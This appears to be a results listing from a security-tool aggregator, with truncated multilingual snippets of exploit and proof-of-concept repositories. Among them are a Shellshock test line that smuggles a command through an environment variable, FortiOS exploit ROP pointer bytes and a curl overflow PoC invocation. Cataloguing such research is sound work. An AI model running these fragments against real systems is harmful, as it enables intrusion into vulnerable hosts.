44796 matches found
mallory
mallory HTTP/HTTPS proxy over SSH. Installation Local machine: go install github.com/justmao945/mallory/cmd/mallory@latest Remote server: need our old friend sshd Configuration Config file Default path is $HOME/.config/mallory.json, can be set when start program root@kitploit: mallory -config...
mallory
mallory SSH経由のHTTP/HTTPSプロキシ。 インストール ローカルマシン: go install github.com/justmao945/mallory/cmd/mallory@latest リモートサーバー: 旧友のsshdが必要です 設定 設定ファイル デフォルトのパスは$HOME/.config/mallory.jsonで、プログラム起動時に設定できます root@kitploit: mallory -config path/to/config.json 内容: idrsa は秘密鍵ファイルへのパスです。ssh-keygenで生成できます。 localsmart...
CVE-2021-3831
PHP Exploit CVE-2021-3831 Script Overview This PHP script is designed to interact with a target website by generating specific MD5 hashes and making HTTP requests to exploit potential vulnerabilities. It is intended for educational purposes and should only be used in environments where you have...
CVE-2023-44767_RiteCMS-File-Upload--XSS---Filemanager
RiteCMS 3.0 ファイルアップロード - XSS Author: Sergio 説明: RiteCMS 3.0 のファイルアップロードの脆弱性により、ローカル攻撃者がXSSコンテンツを含むSVGファイルをアップロードできます。 攻撃ベクトル: AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L PoC: 以下の内容を含むSVGファイルを作成します。 root@kitploit: パネルにログインすると、管理メニューの「Filemanager」セクションに移動し、「Upload file」をクリックします。...
CVE-2023-43873-e107-CMS-Stored-XSS---Manage
e107 CMS 存储型 XSS v2.3.2 作者：Sergio 描述： e017 CMS v.2.3.2 中的跨站脚本（XSS）漏洞允许本地攻击者通过管理菜单中“名称”字段的恶意脚本执行任意代码。 攻击向量： 对管理菜单“名称”字段输入内容消毒的漏洞，允许注入 JavaScript 代码，当用户访问网页时该代码将被执行。 POC： 登录面板后，我们将进入常规菜单的“管理”部分。 我们编辑已创建的站点设置，并看到可以在“名称”字段中注入任意 JavaScript 代码。 XSS 负载： root@kitploit: 附加信息： https://e107.org/...
CiscoIOSSNMPToolkit
CiscoIOSSNMPToolkit Cisco iOS SNMP オーバーフロー攻撃ツールキット CVE-2017-6736...
AgentCyTE
CORE TopoGen リッチなWeb GUIまたはコマンドラインインターフェースを使用して、シナリオXMLファイルから再現可能なCOREネットワークトポロジを生成します。 目次 ハイライト スクリーンショット クイックスタート 前提条件 依存関係のインストール Web UIの起動 CLIの実行 フルプレビューワークフロー 機能の詳細 プランニングのセマンティクス ルーター接続と集約 トラフィック、セグメンテーション、サービス レポートと成果物 アーキテクチャ概要 トラブルシューティング 追加ドキュメント 貢献 引用 ハイライト 単一ソースプランニング –...
POC
This repository does not have a README...
CVE-2023-38545
usage root@kitploit: git clone https://github.com/imfht/CVE-2023-38545 cd CVE-2023-38545/curl-7.74.0 && ./configure --with-openssl make -j 4 python3 socks.py & export ALLPROXY=socks5h://127.0.0.1:9050 ./curl-7.74.0/src/curl $python3 -c "print'A'10000, end=''" -vvvv proof for details please see:...
Copy-Fail-CVE-2026-31431
Copy-Fail-CVE-2026-31431 Linuxカーネルの脆弱性 CVE-2026-31431 （別名 Copy Fail ）の概念実証エクスプロイト再現 です。 クレジット: Copy Fail 影響を受けるシステム Linuxカーネルバージョン 4.14以降 2017年からパッチ適用まで にリリースされた主要ディストリビューションの大半（Ubuntu、Debian、Fedora、RHEL...） オリジナルのエクスプロイトとの違い 最小化されていない読みやすいコード オリジナルのエクスプロイトコードはコンパクト このバージョンは完全に展開されている...
CVE-2024-52318
CVE-2024-52318 🚨🚨CVE-2024-52318 - Apache Tomcat XSS Vulnerability in Generated JSPs🚨🚨 Overview CVE-2024-52318 is a crosssite scripting XSS vulnerability in Apache Tomcat, which arises from improperly released resources in generated JavaServer Pages JSPs. This issue, introduced by a prior...
log4j-vul
log4j-vul This project is just to show Apache Log4j2 Vulnerability - aka CVE-2021-44228 Java: java version "1.8.0121" Compile: from src folder javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java Execute\Run: from src folder java -classpath...
debian-lenny-bash_3.2.52-cve-2014-6271
debian-lenny-bash3.2.52-cve-2014-6271 Debian Lenny Bash packages with cve-2014-6271 patches i386 and amd64 You can test the flaw by running: env x=' :;; echo vulnerable' bash -c "echo this is a test"...
CVE-2024-3094
CVE-2024-3094 CVE-2024-3094 演習環境の構築と報告 CVE-2024-3094 演習 XZ Utils 5.6.0及び5.6.1に挿入されたバックドアを演習環境で再現し、SSH認証フッキングの有無および危険性を分析しました。 環境 Host OS : - Windows 11 Docker : Docker Desktop 28.0.1 Dockerfile Base Image : debian:experimental-20240311 liblzama5 version : 5.6.0 SSH Port : 2222 root / pw : whs...
Cyber-Defenders-lab-
CyberDefenders ブルーチームラボ CyberDefendersのブルーチームラボのwrite-upです。Wiresharkを使用して解きました。各ラボは実際のネットワークフォレンジック調査であり、PCAPファイルから始まり、攻撃の完全な再構築で終わります。 📄 全ラボ結合PDFレポート — すべてのラボのwrite-up、証拠スクリーンショット、完全なWiresharkフィルタ/コマンドリファレンスを含みます。 完了したラボ...
CVE-2021-21972
VMware vCenter Server RCE — CVE-2021-21972 研究ラボ 著者: Niranjan Pokhrel 公開されている重大なVMware vCenter Serverの脆弱性を、隔離された自宅ラボで再現・文書化する独立した研究プロジェクト。脆弱性クラス、攻撃経路、防御策を理解することを目的とする。 概要...
CVE-2024-21762
CVE-2024-21762 out-of-bounds write in Fortinet FortiOS CVE-2024-21762 vulnerability Exploit poc by assetnote root@kitploit: ssldohandshakeptr = b"%60%ce%42%00%00%00%00%00" getcwdptr = b"%70%62%2c%04%00%00%00%00" pivot1 = b"%52%f7%fd%00%00%00%00%00" push rdi; pop rsp; ret; pivot2 =...
arduino-pico
Arduino-Pico Raspberry Pi Pico Arduino core, for all RP2040 and RP2350 boards This is a port of Arduino to the RP2040 Raspberry Pi Pico processor and RP2350 Raspberry Pi Pico 2 processor. It uses the bare Raspberry Pi Pico SDK and a custom GCC 14.3/Newlib 4.5 toolchain and supports ARM and RISC-V...